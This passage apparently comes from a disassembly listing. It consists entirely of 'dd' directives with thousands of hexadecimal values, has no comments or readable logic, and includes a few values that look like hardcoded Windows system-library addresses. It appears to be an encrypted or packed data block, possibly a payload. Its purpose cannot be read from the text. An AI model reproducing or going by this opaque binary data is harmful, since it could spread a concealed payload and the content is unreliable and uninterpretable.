0ECE9ECB3h, 0 dd 37000000h, 37C8106h, 587C81CEh, 57C80C0h, 0ED7C9010h dd 7C9010h, 276F200h, 5 dup(0) dd 0A0000000h, 7C80ADh, 2Bh dup(0) dd 6000000h, 14000000h, 5F1639E7h, 49516754h, 0BA4FAC37h dd 8C337614h, 0C4B2753Fh, 0C8B973EEh, 0AD8F9607h, 44340670h dd 9FB11C13h, 172139E7h, 0D82B6166h, 0FCF29E35h, 22321177h dd 1C4F90EFh, 15BF1375h, 4227BC1Bh, 7A69C699h, 3DB3A8E5h dd 0FC321375h, 0FC614571h, 22321177h, 1C4F90EFh, 15BF1375h dd 4227B30Ah, 7A69C699h, 1121FC93h, 1D791566h, 0C66EBC2h dd 0A78ACF64h, 0E14F6BDBh, 946BA2h, 68B3452Ah, 6A767B42h dd 0AF644D79h, 977A5108h, 4B6CE567h, 223214E7h, 0ACB1EC66h dd 8E28816Fh, 7B61A66h, 2D321566h, 113214E0h, 0DBFE066h dd 42286AE3h, 22339A69h, 0EECA1566h, 80DB75B6h, 0A4321566h dd 0DCBF0353h, 708BEBE5h, 88339669h, 0C9CA1566h, 384DA0E3h dd 19B91A60h, 87321566h, 443217E4h, 0DD537566h, 94F4E0B6h dd 8E210487h, 165AE930h, 0DEAEBDDEh, 1132128Fh, 0FE6F8566h dd 4D4CA4DEh, 3CDBA099h, 993D1375h, 88321567h, 0FB3D759Fh dd 0A7BF7498h, 17246955h, 0E8E2EA9Fh, 1D7EAB06h, 2ADB1325h dd 0D9321566h, 2C6D63BCh, 25B6CADEh, 0A7BB749Ah, 172108CFh dd 8FBD1A9Fh, 4B321566h, 223214E3h, 94F5ED66h, 8E2106EFh dd 44321566h, 80897306h, 0D7CE740Ch, 9B23F4E3h, 50DB5060h dd 15321566h, 0F43FABD2h, 530D12B3h, 0D8C4FE89h, 0C4181902h dd 79E989FDh, 6407C0Fh, 0FA544606h, 446DA563h, 707BA0D9h dd 995FA099h, 48DB1375h, 1B321566h, 71732A2Bh, 38C3FEF6h dd 0C9A0F207h, 3108B8E3h, 9F3D7560h, 88321565h, 0ADF59E00h dd 22321560h, 89824781h, 775370E9h, 48B01AB6h, 0CB321566h dd 11321561h, 7ADB9BD0h, 0CD201ED2h, 311CA0E3h, 94F4EC60h dd 8E210487h, 45B11A25h, 0D7321566h, 76594B0Eh, 36CB75FAh dd 227D959Bh, 4F87EA07h, 71340677h, 80DB09D4h, 0AF321566h dd 0AB986D3Ch, 7041BE8Fh, 0B29F90EBh, 48DB1375h, 63321566h dd 31EBC7DEh, 1FAD2577h, 0BBC436D7h, 27DB75B6h, 4B321566h dd 3157D579h, 0B5B79C07h, 0DA340FF5h, 0D390A0h, 70661375h dd 265A3C0Eh, 2EB51A88h, 0F8321566h, 88321561h, 64890BCAh dd 0DAB60245h, 5FA099h, 0F3D1375h, 44321567h, 0A7BFEC9Eh dd 17212FCBh, 88339A69h, 0BBCA1566h, 0A7BBEDB6h, 17288693h dd 88321F8Fh, 0F73D7866h, 0C91C00EAh, 1EDAADA1h, 883202E6h dd 55B51A66h, 0CB321566h, 1132156Ah, 423BDA1Bh, 408CF8F5h dd 356BE08Dh, 0D390A0h, 0E8771375h, 47BF1A9Eh, 44321566h dd 7953C3EDh, 52522DA4h, 2987EA93h, 2D340677h, 11321DEEh dd 8AB61A66h, 24321566h, 8FB79807h, 1E34065Ch, 883212E5h dd 45B11A66h, 0DB321566h, 0EDCBC599h, 1BCB90EFh, 0C33D137Ch dd 22321567h, 2C8F969Fh, 88340671h, 452F9069h, 0AA3D1566h dd 1132156Eh, 88309369h, 25521566h, 33D390A0h, 1E771375h dd 883203E3h, 54B31A66h, 0CB321566h, 1132156Dh, 8B25EDDDh dd 897B4456h, 4A359C66h, 0EB126BE0h, 99DA759Eh, 0FA321566h dd 1AB2F813h, 0A78D7BBFh, 81718237h, 481B640h, 2232198Fh dd 4E5E4F66h, 6667387Ch, 7B95E617h, 588B4B5Dh, 70501859h dd 995FA099h, 0C9C71375h, 3108B8E3h, 0BA1A60h, 61321566h dd 4432156Ah, 0EA3C508Ch, 4D6F1339h, 98A600B4h, 0CDCBC599h dd 38A1E8E3h, 1BB71A60h, 61321566h, 44321563h, 29826EDBh dd 0F0B7D308h, 0C4340677h, 443BFC93h, 27FA1566h, 3815B1BAh dd 0E0F024E1h, 0A414C5A5h, 22349969h, 43521566h, 0E953753Fh dd 555FA099h, 0AFCE1375h, 208B8E3h, 85B41A60h, 24321566h dd 72D19400h, 2E2949Ah, 0E931A3AAh, 0CB3DC599h, 22321567h dd 10B79C9Ah, 61340FF2h, 44321577h, 0A5243A90h, 0DA1728B2h dd 264F719Dh, 14812694h, 2367FC9Ah, 77521566h, 3D866DEh dd 82CA74BFh, 3123F4E3h, 9A524760h, 4B8D1AA8h, 495AED07h dd 0DA8E5F82h, 5FFA099h, 9CDB1375h, 5D321566h, 47CB7066h dd 0F9D90C0Eh, 196E1F58h, 0EDEA1700h, 0AFBE73D5h, 208B8E3h dd 87DB7560h, 79321566h, 1786B13Dh, 8A2595D4h, 5DC71A59h dd 15622B31h, 0DD534A38h, 33B91AB6h, 0E8321566h, 4432018Eh dd 240A766h, 52B40A16h, 0FBC90DC8h, 0CB2F2FA5h, 9CF6476h dd 983D4F97h, 88321566h, 0B9B79C07h, 0DA340FF5h, 0D390A0h dd 87601375h, 44320CECh, 2226FC66h, 0A67A1566h, 90781FF2h dd 0D38E3671h, 93B92762h, 673188A9h, 3D53B0h, 44321567h dd 687A7D93h, 973DB32Ah, 88321562h, 25537506h, 36FFA099h dd 943D1375h, 88321571h, 4432078Fh, 0F0F4B166h, 11EFDE21h dd 0A3F3EC1Fh, 0A918C863h, 0AFE4A1C9h, 208B8E3h, 81B01A60h dd 24321566h, 6548CDD9h, 7023A719h, 8832068Fh, 0C2C90866h dd 0A9CF0471h, 9962A2Ch, 0AA3DC347h, 17E3CDBCh, 31DBC599h dd 31321566h, 3B9DF7DAh, 2B0B1CCAh, 0FE61078Eh, 4C2F455Ch dd 1C73447h, 5EA614E3h, 0AE3D7560h, 1132156Ch, 8832108Fh dd 9050B66h, 0AE3D481Bh, 11321564h, 4E5392D1h, 5723F4E3h dd 4AC74760h, 0EC70A18Ch, 26E99506h, 44379569h, 0A3541566h dd 708BCBBFh, 995FA099h, 0AD521375h, 22321575h, 30B8B938h dd 71AA0F36h, 0D726C5B4h, 3795ECD1h, 0F9C7C371h, 8832156Eh dd 949D1C7Ch, 5D7B760Dh, 11329E69h, 0E96A1566h, 7E9F90EBh dd 0A9521375h, 0E38D1AA8h, 93B41A07h, 24321566h, 2232048Fh dd 0C5243F66h, 1E36AE54h, 0DE83E96Ah, 0DA066798h, 0A63D7940h dd 58CD7498h, 44209A69h, 2FDB1566h, 39321566h, 18A6805Dh dd 0A4B4BF59h, 0EA6DBF18h, 77F09E06h, 7E06FDE7h, 25B79C07h dd 2D340668h, 11320EE7h, 41B27566h, 4422FD9Eh, 0EA471566h dd 0C39AA28Ah, 1C93D14Fh, 50D3082Ah, 436BEE54h, 0D390A0h dd 7D451375h, 0C43DE906h, 2232156Bh, 11321D8Fh, 1A6ABB66h dd 0ABD6AEB4h, 815A747Ch, 0F8C182CEh, 88321575h, 0C4EB67B3h dd 69AFC12h, 7979C616h, 52995FA9h, 0AD268A91h, 22321561h dd 0F733A166h, 77678B86h, 5722C4D3h, 0A7BFE960h, 17212FCBh dd 88399D69h, 42DB1566h, 0D6321566h, 0B6B72FFDh, 71E2EAB7h dd 640390EFh, 2EDB1375h, 12321566h, 0D8A6C086h, 0F0CE74B1h dd 42346A4Bh, 70F09E00h, 99D390A0h, 0B8601375h, 0FF03020Eh dd 10B91AECh, 7D321566h, 555FA099h, 0AFCE1375h, 208B8E3h dd 883DFC60h, 0B7641566h, 0C1DDB664h, 14F79405h, 3705A591h dd 0B1E2EA3Fh, 2232048Fh, 0FF2EB466h, 0AAF590FCh, 0F7B8C304h dd 2E389BFFh, 94BBF2F6h, 8E213EBFh, 0A5B7D39Ah, 74340677h dd 11279569h, 98DB1566h, 57321566h, 8F328408h, 2639A223h dd 45C7E2D6h, 2C354292h, 0F62D785Fh, 0F887EA93h, 87340678h dd 443214E3h, 0CA52E066h, 11321560h, 5BFB2950h, 90B88554h dd 24BA1A39h, 1E321566h, 883215EEh, 0C1BF7466h, 24246955h dd 0AE3DE006h, 58CD74A7h, 4432018Fh, 9F669C66h, 0E8769E11h dd 3549BD80h, 5B832E22h, 0DF039DB7h, 24B79C0Dh, 61340667h dd 44321575h, 0A969A37h, 0C07B421h, 0D25F1BF6h, 8D15114Ch dd 0E4FBE962h, 223F4E3h, 0E0CA5260h, 0C5EE051Ch, 2DC39E06h dd 113217EEh, 0E9C19F66h, 2987EA9Eh, 2D340677h, 113214EEh dd 0DBFED66h, 42212FCBh, 22339369h, 0EEC71566h, 13D75B6h dd 44321564h, 0DCB94C34h, 84B79C07h, 7D340675h, 0B5B37306h dd 0A63DE883h, 11321560h dd 88329969h, 82531566h, 3123F4E3h, 1E525260h, 0E053EAD1h dd 0CE3DA084h, 0F8E09406h, 773C741Ah, 0B68AD7E7h, 2987EA07h dd 0DA340677h, 2B9F90EBh, 0E9521375h, 2252C599h, 7964D4E7h dd 6EDB33DFh, 0DBB7421h, 42288147h, 2D52A606h, 113215EBh dd 0DF57466h, 42211067h, 2232151Eh, 11321D8Fh, 0C4611766h dd 6C330BF4h, 0C78F96DCh, 11340661h, 903C9169h, 0C73D1566h dd 2232156Eh, 0C747AB06h, 0E9CB3D02h, 55D390A0h, 0CB7E1375h dd 11321563h, 56103EDEh, 58DB7D78h, 42C7CCBCh, 0BA7ED6E7h dd 9545631h, 255D02B7h, 335FA099h, 9B3D1375h, 88321567h dd 0E9B7989Ah, 4234065Ch, 0BF38AE00h, 0E9F59E00h, 44339F69h dd 0DDCA1566h, 113FFCB6h, 8A881566h, 6DC50182h, 4CB1FB51h dd 98BAC7A7h, 92A618E3h, 0C1F4E960h, 24210487h, 1121FC2Ah dd 684F1566h, 5BDA47A9h, 967DE5E8h, 4A59BDD0h, 72DA92BCh dd 9AFC7D7Ch, 0A852C812h, 0DFD994BBh, 0E95826EDh, 4432068Fh dd 222C9666h, 1C957496h, 0BF7276B2h, 0E1B356A9h, 269FCC2Fh dd 5FA099h, 7D521375h, 44259769h, 30DB1566h, 73321566h dd 26E6031h, 0BC84217h, 8C50DFF8h, 0EB27150Fh, 0DBF74E3h dd 42212FCBh, 22321E8Fh, 0D87F5E66h, 0C51CCAE4h, 69E84C88h dd 2ADBC599h, 0F7321566h, 0E156B2B4h, 247833C8h, 2232188Eh dd 0FB570666h, 708EE3ADh, 48F57A78h, 0A3545DB9h, 48FB98A7h dd 0E997F1E6h, 0D02390EFh, 4452137Ch, 70EB32DCh, 99D390A0h dd 4B7E1375h, 223203EFh, 1123FC66h, 94931566h, 83B78F88h dd 0A8E47744h, 1BBC8CD5h, 0E0D5856Ah, 0F3B39759h, 4F87EA9Eh dd 71340677h, 0E8C2A269h, 25534A35h, 189F90EBh, 0F8521375h dd 88321577h, 169E948h, 0FEE9EBF3h, 0B362CC44h, 81210932h dd 4435FC30h, 8CF91566h, 679591D6h, 58CD74C4h, 4432138Fh dd 280D2566h, 98387FE5h, 92A600E3h, 4EBF1A60h, 0CB321566h dd 11321563h, 7E2048F2h, 443CFC53h, 895F1566h, 83401131h dd 0B8AE9792h, 1A30F156h, 33D390A0h, 0E97E1375h, 0A7720D0Eh dd 443BFCD5h, 0EEC61566h, 0B052AD69h, 612BA17Eh, 44321574h dd 0E788E8C0h, 8DF2B5E6h, 13F89468h, 0CD1980C6h, 97CD936Eh dd 1721040Bh, 883B9A69h, 0BD521566h, 1A9BC2E7h, 9C53613Eh dd 9B08B8E3h, 45BF1A60h, 0DE321566h, 9052C599h, 613367BDh dd 0C93D741Dh, 22321561h, 11339369h, 1CA1566h, 5EA600E3h dd 0D3B37560h, 3317E05Ah, 69B7D307h, 2340677h, 44C19E06h dd 701CC1DCh, 5634010Eh, 5DB71ADCh, 0CB321566h, 11321572h dd 0D10EB3CCh, 0E91F374Eh, 97B0DA76h, 7B5786E4h, 0CBE2629Ah dd 555FA099h, 0AA3D1375h, 11321567h, 25B7989Ah, 0AD34065Ch dd 2232156Bh, 6371BF4Ch, 0AF13BE21h, 7F6CB2FAh, 0CBE2EA55h dd 11321574h, 36CDEBB7h, 17FF8F40h, 7DFB3507h, 0E1FE32F7h dd 0DBB033Bh, 4228817Bh, 2F87ED06h, 0F0B7D307h, 0CF340677h dd 44321C8Fh, 4C3D4766h, 91EB67B3h, 0F25AFC12h, 24B3C976h dd 44E29E00h, 5AA1FAE7h, 0E587EA07h, 0BC340677h, 189F90EBh dd 1ADB1375h, 0D9321566h, 6A42BCE1h, 5C54D0BEh, 0C1CDD5B6h dd 40B3EC06h, 6EB8AE94h, 0A7BBED07h, 17288143h, 69B7D393h dd 3340677h, 2235FC06h, 96AC1566h, 0AE88D18Ah, 0E85A74B8h dd 42DD92E8h, 11379869h, 698C1566h, 223CCA7Ch, 4253CAEDh dd 11369369h, 33541566h, 0F33DD5F0h, 97CD7496h, 1721040Bh dd 54B2759Eh, 4423FD3Fh, 23151566h, 617426F1h, 2F8C9BA3h dd 0C8FF08A6h, 939D8789h, 9C534BD1h, 9B08B8E3h, 45B21A60h dd 0DA321566h, 7752C599h, 0EE23CBDFh, 25E0C6DEh, 223EFC06h dd 0F88D1566h, 3E89E117h, 0ABEB3EE3h, 0AB536B1Fh, 0BA63CE3h dd 99B81A60h, 4B321566h, 22321EE8h, 1134FC66h, 5CDF1566h dd 0EF328A65h, 33D390A0h, 71751375h, 88309A69h, 25521566h dd 22321C8Fh, 2ADC2A66h, 0E1BC23C5h, 0AD53D446h, 22321561h dd 0C88F3B69h, 0E0435DDFh, 90A8B2B4h, 2232078Fh, 7BB0D766h dd 94784395h, 0A861B72Fh, 58212F6h, 0EEC3B283h, 9B2378D3h dd 0FC547560h, 0AC3D2917h, 11321564h, 553D5D7h, 5708B8E3h dd 31B71A60h, 1E321566h, 883218E1h, 443AFC66h, 1BE61566h dd 92147C6Ah, 58CDC900h, 4432018Fh, 86B3F566h, 3A803B4Ch dd 2AD99EFAh, 0B3EC384Bh, 4116BC25h, 3CB79C76h, 87340FF2h dd 443213E3h, 7A647566h, 0D7537406h, 9B23F4E3h, 56DB5260h dd 0E321566h, 0A2BC3556h, 0D63E2DBBh, 3BF85854h, 8AF239BBh dd 155AED23h, 8788D45Fh, 44320DE5h, 33DB7566h, 8321566h dd 0C06D3F71h, 60726FC1h, 94F37FEEh, 72FBB915h, 0E587EA07h dd 0AD340677h, 22321577h, 0D505DA0Dh, 8E01C41h, 0B7746111h dd 93E35394h, 0BCB798B3h, 0E834065Ch, 2E3D18D9h, 43C79F3Dh dd 7752C599h, 1B06FAE7h, 4432078Fh, 0ED959666h, 2E0ED9D5h dd 0F664EAC0h, 0E890ED26h, 43857F88h, 20B79C93h, 61340FF2h dd 44321563h, 742A36F5h, 113DFCB7h, 2161566h, 3C9CEFh dd 0C1D858B4h, 1ADA5B4Ah, 0F18F9620h, 44340671h, 225D9069h dd 71CB1566h, 354E5ECh, 0C1F474B7h, 24210487h, 765AE921h dd 0E8D2674Bh, 85F1AE00h, 43C89E00h, 1132068Fh, 20352D66h dd 87A25DE4h, 6D3530E7h, 9617B03h, 0A2BE67C0h, 555FA099h dd 42CB1375h, 1E52F4D1h, 883215E1h, 83FF9566h, 0A7BF7407h dd 17212FCBh, 87E2EA93h, 443214EBh, 0ABCAE966h, 0BA620E3h dd 8835FC60h, 19251566h, 50D1A5C5h, 0F0B7D341h, 0CF340677h dd 44321A8Fh, 8CF15266h, 656938FEh, 7835E3Ch, 0DF577F62h dd 0B81A40Eh, 905475E8h, 876368B6h, 0BB53CED1h, 312378D3h dd 94BFEC60h, 8E212FCBh, 2211A606h, 4325E5E7h, 71E2EA07h dd 0E9CE50D2h, 0D00B90EFh, 0E4CA137Ch, 223F4E3h, 0C3D5660h dd 44321567h, 68957D9Fh, 923DD510h, 88321561h, 44339869h dd 0CBCE1566h, 11321569h, 495BFF0h, 0CF016AFh, 0E939EE36h dd 0EEFBB317h, 9B2378D3h, 4B52E960h, 0A354C6D1h, 70AAA8BDh dd 0B29F90EBh, 54DB1375h, 19321566h, 0E5CE3498h, 3B7E97A2h dd 5145B2DDh, 0DD6A0C01h, 1135FCB6h, 0CE771566h, 1A142FC4h dd 1FB79C02h, 71340FF2h, 0D8FBAA69h, 4B534E93h, 223201E5h dd 113DFC66h, 7F491566h, 0E8C200B0h, 38C04A72h, 0CD802CA4h dd 69B7D30Dh, 8340677h, 22359369h, 933D1566h, 88321567h dd 28D97D9Fh, 31DBEE00h, 0DC321566h, 442201C9h, 40531A0Dh dd 8A725B32h, 0F56DA3A3h, 3DCD52F5h, 422105B7h, 2232188Fh dd 0DFF01466h, 0CC04BCF3h, 4C567D5Ch, 0A7BFAD7Dh, 17212FCBh dd 8832068Fh, 84B1BD66h, 0DA02613Fh, 0A3B74254h, 4EE9ADD6h dd 820D8979h, 0ABCBC599h, 0BA6C4E3h, 8FBD1A60h, 24321566h dd 42A3E3E6h, 94F47407h, 8E210487h, 0BAB97522h, 775A749Eh dd 0F88966E8h, 88321561h, 0F8B672ECh, 0DDC4E080h, 22378D3h dd 0F3DE060h, 4432156Ch, 2232108Fh, 5F9A66h, 0DBFDCBDh dd 42212FCBh, 2232108Fh, 0BB3AB66h, 58CD6159h, 44379969h dd 44521566h, 1E53E2EDh, 883214E0h, 0C1BBE966h, 24288127h dd 12BB1A06h, 0EE321566h, 8253DEEDh, 3123F4E3h, 9E3D5660h dd 8832156Ch, 9EB97306h, 2D0050D8h, 0ED5A745Dh, 0E88E9B08h dd 0CF54CBEDh, 445274A8h, 0AE7A05D9h, 0D85F0596h, 2987EA07h dd 0D7340677h, 2B9F90EBh dd 87521375h, 443214EDh, 0DD53E966h, 94BBE9B6h, 8E288123h dd 44269969h, 44521566h, 0F80D8DDEh, 8832156Fh, 14A14A9Dh dd 55125A7Ah, 1CDB74F2h, 0CF321566h, 5C45C197h, 0BE61C7DCh dd 62929C75h, 99D390A0h, 4B611375h, 223201E5h, 113DFC66h dd 0D7AC1566h, 0EC37597Ah, 3E84A576h, 0E383F193h, 0B6987D0Ah dd 0AD52D376h, 22321560h, 37C4F032h, 8FDB58A4h, 95321566h dd 203DA313h, 715381C1h, 8839FC37h, 0CE21566h, 0AA1CB548h dd 0FA6E3122h, 8EDA4EABh, 3F321566h, 8B37BA82h, 11B81A20h dd 0D7321566h, 2987EA07h, 2D340677h, 113212E6h, 89BA1A66h dd 0BC321566h, 189F90EBh, 71CA1375h, 8832048Fh, 0BAB74E66h dd 1E8BE02Dh, 332D797Ch, 3FC31D6Ch, 4FDA5D71h, 0EC321566h dd 0D2A1F5F7h, 589D1C7Ch, 2568760Dh, 2D52C599h, 1BDBE5D9h dd 0B1321566h, 0D53C39C5h, 9EA17EC6h, 94BB7481h, 8E28812Fh dd 598F969Eh, 22340679h, 12F79169h, 87521566h, 443207E0h dd 223FFC66h, 8F781566h, 6E2660F9h, 0F9A958BBh, 9CB12242h dd 649E0D8Fh, 69B7D307h, 2340677h, 0A954E006h, 205A74BFh dd 70C883A8h, 555FA099h, 0AE3D1375h, 11321567h, 25B7989Fh dd 0BC34065Ch, 0A352C599h, 3B0366ACh, 883AFD11h, 0FCA81566h dd 467B93A3h, 1681117Dh, 0DBB743Fh, 422881C3h, 2232188Fh dd 2142BE66h, 6AC3EC2h, 42122D67h, 0E4C7086Eh, 223F4E3h dd 0E0CE5360h, 0B8952FB0h, 2226FD06h, 17FA1566h, 64AEB86h dd 656DCC9Dh, 0E76227F5h, 0C6499FC8h, 4AB96C04h, 0B48D1A38h dd 4F87EA07h, 71340677h, 40E0959Eh, 0E9B79807h, 4234065Ch dd 0D6851A9Ah, 70E2EA07h, 0D08790EFh, 0AA3D137Ch, 1132156Bh dd 88321D8Fh, 83BC3966h, 0C564303h, 0F0B7D3A2h, 0CE340677h dd 4432058Fh, 243B7666h, 1B8F2C31h, 9EE3B07Fh, 8A6E8C27h dd 86327DE9h, 1CDB879Ah, 0A3321566h, 0FEB24A14h, 0ED894E0Ch dd 29588C61h, 8832048Fh, 0F2526266h, 86DF44AAh, 0FC818B70h dd 1DBF22B8h, 0F1CD5510h, 2421040Bh, 1121FC06h, 0DCDC1566h dd 3F47811Eh, 0EB6EB7AEh, 795B13D5h, 1E3F3CABh, 0C1BF74BDh dd 24212FCBh, 112A9C69h, 9BDB1566h, 56321566h, 696E114Fh dd 0E1E987A5h, 0B18318D4h, 0F782C661h, 0F2CD3CB9h, 0A8B79C93h dd 71340FF2h, 55D390A0h, 2D741375h, 113214E1h, 0E25AE066h dd 0BDC4C129h, 335FA099h, 9CCE1375h, 9B08B8E3h, 42DB7560h dd 91321566h, 98827C98h, 80DB7431h, 25321566h, 2833E506h dd 0EEF7B033h, 70B975B6h, 1FE59E35h, 9FB79C07h, 0ED340FF2h dd 88289669h, 0C4521566h, 2DDAAC84h, 0BA321566h, 0C10F45FCh dd 0CA038EA7h, 3B803114h, 706B3FDBh, 99D390A0h, 4B741375h dd 22320CE3h, 1126FC66h, 11901566h, 0F7D4C719h, 0FDA4BCD3h dd 6B6A93B4h, 5593CA5Dh, 55DB87C8h, 2F321566h, 0A2F1AFEDh dd 4178F086h, 302E32C7h, 295582F3h, 0DC62F20Eh, 5EB375F2h dd 700BA8BBh, 0DD53CBEDh, 22378D3h, 90B81A60h, 0AD321566h dd 22321575h, 2DA6C4F5h, 1D2CABC1h, 6977F65Fh, 5A9DF4E0h dd 0E9C886CFh, 0B29F90EBh, 0AD521375h, 22321576h, 0E726908Fh dd 0B02CFE91h, 49DCACB1h, 3B613073h, 11329969h, 77531566h dd 55DA75B6h, 0DE321566h, 0C7366E07h, 56D23392h, 7A2CECAAh dd 0E4CC9386h, 8AF89400h, 23D4A43h, 44321562h, 1189AA00h dd 0B8B79C07h, 74340FF2h, 55D390A0h, 0DB741375h, 33462E0Eh dd 883EFCD7h, 0D51D1566h, 10568F31h, 516A094Dh, 3DCD64B4h dd 4221040Bh, 0EAB97306h, 11321E8Eh, 87F8E866h, 0F00FC8B0h dd 0B7D1DC4Ah, 4EEC9E00h, 0DBFE007h, 42212FCBh, 22219969h dd 1FDB1566h, 0DF321566h, 24BFAD74h, 0A48AC04Ah, 45CDA1E0h dd 0E8E2EAFDh, 4432108Fh, 68E76366h, 1E533DBFh, 883201ECh dd 4AB11A66h, 0CB321566h, 1132156Fh, 2CC91E2Dh, 7B74EDB2h dd 8FB79CA6h, 1E340FF2h, 883214E2h, 82CBEC66h, 3123F4E3h dd 9A3D5360h, 88321561h, 44339B69h, 4ACB1566h, 0CE4BFF8Bh dd 0D6627506h, 44321D8Fh, 5249A66h, 24549F5Dh, 354745Ah dd 0F1CD74B5h, 2421040Bh, 11269269h, 87DB1566h, 0E2321566h dd 1A4C5Ah, 0DE22B84Bh, 1BB0A0E4h, 0CF527F03h, 0A7BF749Dh dd 17212FCBh, 8832018Fh, 0EB6E1D66h, 6F27F02Bh, 0F2F86C85h dd 3684172Ah, 4B481179h, 2DE2EA60h, 113210EDh, 0E9527566h dd 0C1BB749Fh, 242881D7h, 0C3B3759Ah, 8FA9D96Dh, 0C753D2EDh dd 31256CDBh, 943D1560h, 883215F1h, 4421FC06h, 0D6DD1566h dd 54F4E46Fh, 540B91B4h, 0F0A6FC7Eh, 0DA76C943h, 0C9B97330h dd 883FFC07h, 29C51566h, 118D042Fh, 9682B288h, 4E940E38h dd 5723F4E3h, 44524660h, 0A63DD6EDh, 0D65A74AFh, 4BFCAB86h dd 22321EEAh, 9E8A7566h, 0EE01AE00h, 2565F5D8h, 335FA099h dd 17DB1375h, 61321566h, 0CE805205h, 8FB79811h, 0ED34065Ch dd 9CDBC599h, 0BB321566h, 7F380C3Fh, 6770721Eh, 0CFA0E2B1h dd 0F264326Dh, 0ABB3D2CCh, 0BA658E3h, 5FB97560h, 0E86FF2E7h dd 0E45345CFh, 223F4E3h, 7D525260h, 44349B69h, 0F4B31566h dd 3132F93Ch, 0D6B57D07h, 0CB3DD2D7h, 2232156Bh, 0D3B37306h dd 93DB0D7h, 44321566h, 4F87EA07h, 0ED340677h, 0B29F90EBh dd 4B521375h, 223217E1h, 0E8694266h, 0E8E2EA07h, 0B863DEEDh dd 0A7BB743Fh, 17288137h, 8832048Fh, 67D3A766h, 72B20040h dd 0CBB0C785h, 0E1C1C65Eh, 0F9B18835h, 2421021Fh, 71B71A66h dd 0E8321566h, 44349769h, 0C0B31566h, 592A1588h, 0E9C39E00h dd 55D390A0h, 0DE751375h, 734C100Eh, 3DCDED80h, 4221040Bh dd 8FB7989Eh, 7134065Ch, 88369A69h, 0FA541566h, 0DD5374DAh dd 168C75B6h, 610B6B04h, 44321575h, 3B2592Fh, 0B8785088h dd 0F822FD5Bh, 0ECE584C9h, 43EE6894h, 856790EFh, 4ECA137Ch dd 5723F4E3h, 0A43D5660h, 1132156Dh, 8832138Fh, 86DB6B66h dd 4A9851C0h, 83481C90h, 88321B8Fh, 8C2F8866h, 81BFD862h dd 78C76E46h, 0E8AFEFDBh, 0BCC8A269h, 4F87EA07h, 71340677h dd 61F8A269h, 4432156Eh, 0F3C7E679h, 394D7A60h, 25B79807h dd 4B34065Ch, 223202E6h, 1120FC66h, 73021566h, 0C917124Dh dd 0DFA72FEDh, 0D507EB81h, 0D0BDA4Bh, 0F152C599h, 24B61AF0h dd 90321566h, 1DABB48Eh, 0C1BB7407h, 2428813Fh, 1132138Fh dd 0EB3BB366h, 82ACAB41h, 3123F4E3h, 79C75660h, 74138246h dd 44359769h, 0A83D1566h, 11321567h, 0E587EA93h, 0AD340677h dd 22321575h, 0EF7FAB92h, 0D2E7325h, 0E2D5A04Fh, 1F402471h dd 9C543745h, 9B08B8E3h, 0C5547560h, 2D85AFADh, 113211E0h dd 0C1887366h, 94CD74A7h, 223A9869h, 993D1566h, 88321564h dd 0C1BB7406h, 2428813Bh, 688F969Fh, 88340671h, 44D49069h dd 0A83D1566h, 11321561h, 88339669h, 0ADCA1566h, 22321574h dd 0AAB5D648h, 48B49F3Dh, 952CB764h, 0C4F0BC9Fh, 94F4E6C5h dd 8E210487h, 475AE025h, 42B915CEh, 1CDA439Ah, 1F321566h dd 0BBEB4E26h, 0A4D77145h, 87AEFD0Fh, 87534A3Dh, 443214ECh dd 97CDEC66h, 1721040Bh, 8832068Fh, 7A636A66h, 111BCE57h dd 0C6F80076h, 684852BDh, 8538E044h, 189F90EBh, 0EECA1375h dd 9DB31AB6h, 24321566h, 22321E8Fh, 2A484D66h, 26EFB4B9h dd 31ABCDF4h, 43C19E00h, 855790EFh, 8752137Ch, 443217EEh dd 43E39E66h, 0D390A0h dd 61711375h, 44321569h, 0CC44DE0Ch, 1882FCAAh, 45EC1663h dd 2CDBBE29h, 0C76923B3h, 7C87EA9Fh, 71340677h, 7E9F90EBh dd 0DACA1375h, 71C7C599h, 8956AC00h, 0B520AB00h, 43B79C07h dd 0E8340FF2h, 99D390A0h, 0B1711375h, 2222FD06h, 0AD1F1566h dd 0D6E3681Fh, 116AE25Bh, 10F4118Dh, 49CE9323h, 8832138Eh dd 716D9866h, 2D99030Dh, 7068DED1h, 2200F40Eh, 0C554758Ch dd 4383ADB9h, 258CAF06h, 57B25F53h, 0F1CD7435h, 2421040Bh dd 113E9B69h, 0F3D1566h, 44321560h, 22329569h, 963D1566h dd 8832156Eh, 44309C69h, 43521566h, 2B9F90EBh, 0F3D1375h dd 44321567h, 0DAE2EA93h, 855B90EFh, 84DB137Ch, 15321566h dd 0ABD108E0h, 0E760B0B6h, 4EE9A013h, 5723F4E3h, 4ACE5660h dd 95C3B951h, 3547593h, 0B88873B8h, 97CD746Ch, 1721040Bh dd 88269669h, 4BDB1566h, 8C321566h, 0BCE73E57h, 88B708EEh dd 94710577h, 445279B9h, 0A43825DCh, 0DBF74EAh, 42212FCBh dd 0F2CDEC9Fh, 7CB79C9Eh, 87340FF2h, 443214EAh, 0A352E066h dd 6AD770A1h, 8837FD32h, 75EE1566h, 7401E16Fh, 0D7534E38h dd 9B23F4E3h, 2CCB5A60h, 0B50785B2h, 1132068Fh, 76B4F566h dd 978111A0h, 7BCAFBAh, 7B8A3C38h, 0DB2838B7h, 555FA099h dd 75521375h, 70694A31h, 0B29F90EBh, 0BBCA1375h, 0A7BBE9B6h dd 17288117h, 88339469h, 82C71566h, 3123F4E3h, 77525A60h dd 0EEF245DCh, 25840ED8h, 4C3C170Eh, 0AA54759Fh, 0F3DE695h dd 44321566h, 4F87EA07h, 1E340677h, 883218E9h, 443AFC66h dd 207E1566h, 152DABD0h, 0DBF1A1Ch, 42212FCBh, 21B91A06h dd 91321566h, 46B9C9BBh, 9FB37507h, 2A158064h, 0EE53E7EDh dd 35475B6h, 25CC9E9Dh, 0B64790EFh, 0D7CA137Ch, 9B23F4E3h dd 4ADB5860h, 60321566h, 3DA3571Eh, 62382192h, 0F53A5F7Ch dd 5B7B7DC8h, 9E3DDD51h, 8832156Eh, 44309069h, 43521566h dd 5FA099h, 0C3D1375h, 4432156Fh, 447AA406h, 0AA10C6E7h dd 25B79807h, 4B34065Ch, 223214EBh, 0C1CDE966h, 6CC39406h dd 0B868776Dh, 5FB79C07h, 71340FF2h, 0F3833EDCh, 41DB4753h dd 8B321566h, 3C5DF15Dh, 0DF47438h, 42210487h, 0E68A752Bh dd 1E7B8AFDh, 0E053EBD9h, 98C558EFh, 223A9869h, 953D1566h dd 88321564h, 0F1CD7406h, 2421040Bh, 113E9169h, 43D1566h dd 44321560h, 22329C69h, 94BF1566h, 8E212FCBh, 4432138Fh 